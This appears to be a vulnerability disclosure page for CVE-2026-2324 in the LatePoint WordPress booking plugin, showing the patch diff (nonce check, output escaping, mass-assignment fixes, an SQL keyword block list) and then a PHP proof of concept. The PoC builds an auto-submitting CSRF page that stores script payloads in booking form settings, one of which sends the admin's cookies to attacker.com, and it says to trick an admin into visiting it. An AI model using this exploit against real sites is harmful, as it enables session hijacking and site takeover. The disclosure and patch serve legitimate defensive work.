CVE-2026-2324: LatePoint – Calendar Booking Plugin for Appointments and Events <= 5.2.7 – Cross-Site Request Forgery in Booking Form Settings Update to Stored Cross-Site Scripting (latepoint)

--- a/latepoint/latepoint.php
+++ b/latepoint/latepoint.php
@@ -2,7 +2,7 @@
 /**
  * Plugin Name: LatePoint
  * Description: Appointment Scheduling Software for WordPress
- * Version: 5.2.7
+ * Version: 5.2.8
  * Author: LatePoint
  * Author URI: https://latepoint.com
  * Plugin URI: https://latepoint.com
@@ -29,7 +29,7 @@
 		 * LatePoint version.
 		 *
 		 */
-		public $version = '5.2.7';
+		public $version = '5.2.8';
 		public $db_version = '2.3.0';


--- a/latepoint/lib/controllers/booking_form_settings_controller.php
+++ b/latepoint/lib/controllers/booking_form_settings_controller.php
@@ -23,6 +23,9 @@
 		}

 		public function reload_preview() {
+			// Verify nonce.
+			$this->check_nonce( 'reload_preview' );
+
 			OsStepsHelper::set_cart_object();
 			OsStepsHelper::set_booking_object();
 			OsStepsHelper::set_restrictions();
--- a/latepoint/lib/controllers/customers_controller.php
+++ b/latepoint/lib/controllers/customers_controller.php
@@ -150,7 +150,8 @@
 			$this->check_nonce( 'new_customer' );
 			$customer = new OsCustomerModel();
 			// Security fix: Prevent mass assignment of wordpress_user_id by non-admin users.
-			$customer->set_data( $this->params['customer'], LATEPOINT_PARAMS_SCOPE_PUBLIC );
+			// Use admin scope if user is authenticated as admin, otherwise restrict to public fields.
+			$customer->set_data( $this->params['customer'], OsAuthHelper::is_admin_logged_in() ? LATEPOINT_PARAMS_SCOPE_ADMIN : LATEPOINT_PARAMS_SCOPE_PUBLIC );
 			if ( $customer->save() ) {
 				// translators: %s is the html of a customer edit link
 				$response_html = sprintf( __( 'Customer Created ID: %s', 'latepoint' ), '<span class="os-notification-link" ' . OsCustomerHelper::quick_customer_btn_html( $customer->id ) . '>' . $customer->id . '</span>' );
@@ -180,7 +181,8 @@
 				} else {
 					$old_customer_data = $customer->get_data_vars();
 					// Security fix: Prevent mass assignment of wordpress_user_id by non-admin users.
-					$customer->set_data( $this->params['customer'], LATEPOINT_PARAMS_SCOPE_PUBLIC );
+					// Use admin scope if user is authenticated as admin, otherwise restrict to public fields.
+					$customer->set_data( $this->params['customer'], OsAuthHelper::is_admin_logged_in() ? LATEPOINT_PARAMS_SCOPE_ADMIN : LATEPOINT_PARAMS_SCOPE_PUBLIC );
 					if ( $customer->save() ) {
 						// translators: %s is the html of a customer edit link
 						$response_html = sprintf( __( 'Customer Updated ID: %s', 'latepoint' ), '<span class="os-notification-link" ' . OsCustomerHelper::quick_customer_btn_html( $customer->id ) . '>' . $customer->id . '</span>' );
--- a/latepoint/lib/controllers/orders_controller.php
+++ b/latepoint/lib/controllers/orders_controller.php
@@ -131,8 +131,8 @@
 				$is_new_customer = true;
 			}
 			// Security fix: Prevent mass assignment of wordpress_user_id by non-admin users.
-			// Use 'public' role to restrict which fields can be set via user input.
-			$customer->set_data( $customer_params, LATEPOINT_PARAMS_SCOPE_PUBLIC );
+			// Use admin scope if user is authenticated as admin, otherwise restrict to public fields.
+			$customer->set_data( $customer_params, OsAuthHelper::is_admin_logged_in() ? LATEPOINT_PARAMS_SCOPE_ADMIN : LATEPOINT_PARAMS_SCOPE_PUBLIC );
 			if ( $customer->save() ) {
 				if ( $is_new_customer ) {
 					do_action( 'latepoint_customer_created', $customer );
--- a/latepoint/lib/helpers/customer_import_helper.php
+++ b/latepoint/lib/helpers/customer_import_helper.php
@@ -181,7 +181,7 @@
 					$save_data[$column_mapping[$column_index]] = $field_value;
 				}
 			}
-			$customer->set_data($save_data);
+			$customer->set_data($save_data, 'public');

 			if ($customer->save()) {
 				$updatedCount++;
--- a/latepoint/lib/helpers/settings_helper.php
+++ b/latepoint/lib/helpers/settings_helper.php
@@ -208,7 +208,7 @@
 			}

 			// Security check: Ensure no dangerous SQL keywords in CREATE statement.
-			$dangerous_keywords = array( 'EXEC', 'EXECUTE', 'CALL', 'LOAD_FILE', 'INTO OUTFILE', 'INTO DUMPFILE' );
+			$dangerous_keywords = array( 'SELECT', 'UNION', 'EXEC', 'EXECUTE', 'CALL', 'LOAD_FILE', 'INTO OUTFILE', 'INTO DUMPFILE' );
 			foreach ( $dangerous_keywords as $keyword ) {
 				if ( stripos( $create_statement, $keyword ) !== false ) {
 					throw new Exception( sprintf( __( 'Security: Dangerous SQL keyword "%s" detected in CREATE statement', 'latepoint' ), esc_html( $keyword ) ) );
@@ -231,6 +231,11 @@
 			if ( is_array( $table_data['data'] ) ) {
 				foreach ( $table_data['data'] as $row ) {
 					if ( is_array( $row ) ) {
+						// Security fix: Prevent mass assignment of wordpress_user_id during import.
+						if ( $table === $wpdb->prefix . 'latepoint_customers' ) {
+							unset( $row['wordpress_user_id'] );
+						}
+
 						$insert_result = $wpdb->insert( $table, $row );
 						if ( $insert_result === false ) {
 							// Log error but continue with other rows.
--- a/latepoint/lib/views/booking_form_settings/_booking_form_preview.php
+++ b/latepoint/lib/views/booking_form_settings/_booking_form_preview.php
@@ -20,20 +20,37 @@
                     </div>
                 </div>
 				<div class="bf-side-heading editable-setting" data-setting-key="[<?php echo esc_attr($selected_step_code);?>][side_panel_heading]" contenteditable="true"><?php echo wp_strip_all_tags(OsStepsHelper::get_step_setting_value($selected_step_code, 'side_panel_heading')); ?></div>
-				<div class="bf-side-desc os-editable-basic editable-setting" data-setting-key="[<?php echo $selected_step_code;?>][side_panel_description]"><?php echo strip_tags(OsStepsHelper::get_step_setting_value($selected_step_code, 'side_panel_description'), ['a', 'i', 'u', 'b', 'br']); ?></div>
+				<div
+					class="bf-side-desc os-editable-basic editable-setting"
+					data-setting-key="[<?php echo esc_attr( $selected_step_code ); ?>][side_panel_description]"
+				>
+					<?php echo strip_tags( OsStepsHelper::get_step_setting_value( $selected_step_code, 'side_panel_description' ), [ 'a', 'i', 'u', 'b', 'br' ] ); ?>
+				</div>
 			</div>
 			<div class="side-panel-extra os-editable editable-setting" data-setting-key="[shared][steps_support_text]">
-				<?php echo OsSettingsHelper::get_steps_support_text(); ?>
+				<?php echo wp_kses_post( OsSettingsHelper::get_steps_support_text() ); ?>
 			</div>
 		</div>
 		<div class="bf-main-panel">
 			<div class="bf-main-heading editable-setting" data-setting-key="[<?php echo esc_attr($selected_step_code);?>][main_panel_heading]" contenteditable="true"><?php echo wp_strip_all_tags(OsStepsHelper::get_step_setting_value($selected_step_code, 'main_panel_heading')); ?></div>
 			<div class="bf-main-panel-content-wrapper">
-				<div class="bf-main-panel-content-before os-editable editable-setting" data-placeholder="+" data-setting-key="[<?php echo esc_attr($selected_step_code);?>][main_panel_content_before]"><?php echo OsStepsHelper::get_step_setting_value($selected_step_code, 'main_panel_content_before'); ?></div>
+				<div
+					class="bf-main-panel-content-before os-editable editable-setting"
+					data-placeholder="+"
+					data-setting-key="[<?php echo esc_attr( $selected_step_code ); ?>][main_panel_content_before]"
+				>
+					<?php echo wp_kses_post( OsStepsHelper::get_step_setting_value( $selected_step_code, 'main_panel_content_before' ) ); ?>
+				</div>
 				<div class="bf-main-panel-content">
 					<?php echo OsStepsHelper::get_step_content_preview($selected_step_code); ?>
 				</div>
-				<div class="bf-main-panel-content-after os-editable editable-setting" data-placeholder="+" data-setting-key="[<?php echo esc_attr($selected_step_code);?>][main_panel_content_after]"><?php echo OsStepsHelper::get_step_setting_value($selected_step_code, 'main_panel_content_after'); ?></div>
+				<div
+					class="bf-main-panel-content-after os-editable editable-setting"
+					data-placeholder="+"
+					data-setting-key="[<?php echo esc_attr( $selected_step_code ); ?>][main_panel_content_after]"
+				>
+					<?php echo wp_kses_post( OsStepsHelper::get_step_setting_value( $selected_step_code, 'main_panel_content_after' ) ); ?>
+				</div>
 			</div>
 			<div class="bf-main-panel-buttons">
                 <div class="bf-btn bf-cancel-save-btn">
--- a/latepoint/lib/views/booking_form_settings/show.php
+++ b/latepoint/lib/views/booking_form_settings/show.php
@@ -14,6 +14,7 @@
     </div>
     <form class="booking-form-preview-settings"
           data-route-name="<?php echo esc_attr(OsRouterHelper::build_route_name( 'booking_form_settings', 'reload_preview' )); ?>">
+        <?php wp_nonce_field( 'reload_preview', '_wpnonce', false ); ?>
         <div class="bf-heading">
             <div class="latepoint-icon latepoint-icon-browser"></div>
             <div><?php esc_html_e( 'Appearance', 'latepoint' ); ?></div>

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-2324 - LatePoint – Calendar Booking Plugin for Appointments and Events <= 5.2.7 - Cross-Site Request Forgery in Booking Form Settings Update to Stored Cross-Site Scripting

<?php
$target_url = 'http://vulnerable-site.com';

// CSRF payload that injects XSS into booking form settings
$csrf_payload = array(
    'action' => 'latepoint_booking_form_settings_controller_reload_preview',
    'selected_step_code' => 'service',
    'service' => array(
        'side_panel_description' => '<script>alert(document.cookie)</script>',
        'main_panel_content_before' => '<img src=x onerror=alert("XSS")>',
        'main_panel_content_after' => '<svg/onload=alert("AtomicEdge")>'
    ),
    'shared' => array(
        'steps_support_text' => '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>'
    )
);

// Generate malicious HTML page that auto-submits the CSRF request
$html_poc = '<!DOCTYPE html>
<html>
<head>
    <title>CVE-2026-2324 CSRF PoC</title>
</head>
<body>
    <h2>LatePoint CSRF to Stored XSS PoC</h2>
    <p>When an admin visits this page, it will inject XSS into booking form settings.</p>
    
    <form id="csrf_form" action="' . $target_url . '/wp-admin/admin-ajax.php" method="POST">';

foreach ($csrf_payload as $key => $value) {
    if (is_array($value)) {
        foreach ($value as $subkey => $subvalue) {
            $html_poc .= 'n        <input type="hidden" name="' . htmlspecialchars($key) . '[' . htmlspecialchars($subkey) . ']" value="' . htmlspecialchars($subvalue) . '">';
        }
    } else {
        $html_poc .= 'n        <input type="hidden" name="' . htmlspecialchars($key) . '" value="' . htmlspecialchars($value) . '">';
    }
}

$html_poc .= '
    </form>
    <script>
        document.getElementById("csrf_form").submit();
        console.log("CSRF request sent to ' . $target_url . '");
    </script>
</body>
</html>';

// Save the PoC to file
file_put_contents('cve-2026-2324-poc.html', $html_poc);
echo "PoC HTML file generated: cve-2026-2324-poc.htmln";
echo "Host this file and trick an admin to visit it.n";
echo "The XSS payload will be stored in booking form settings.n";

// Alternative: Direct cURL demonstration
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($csrf_payload));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);

echo "nDirect request response preview: " . substr($response, 0, 200) . "...n";
?>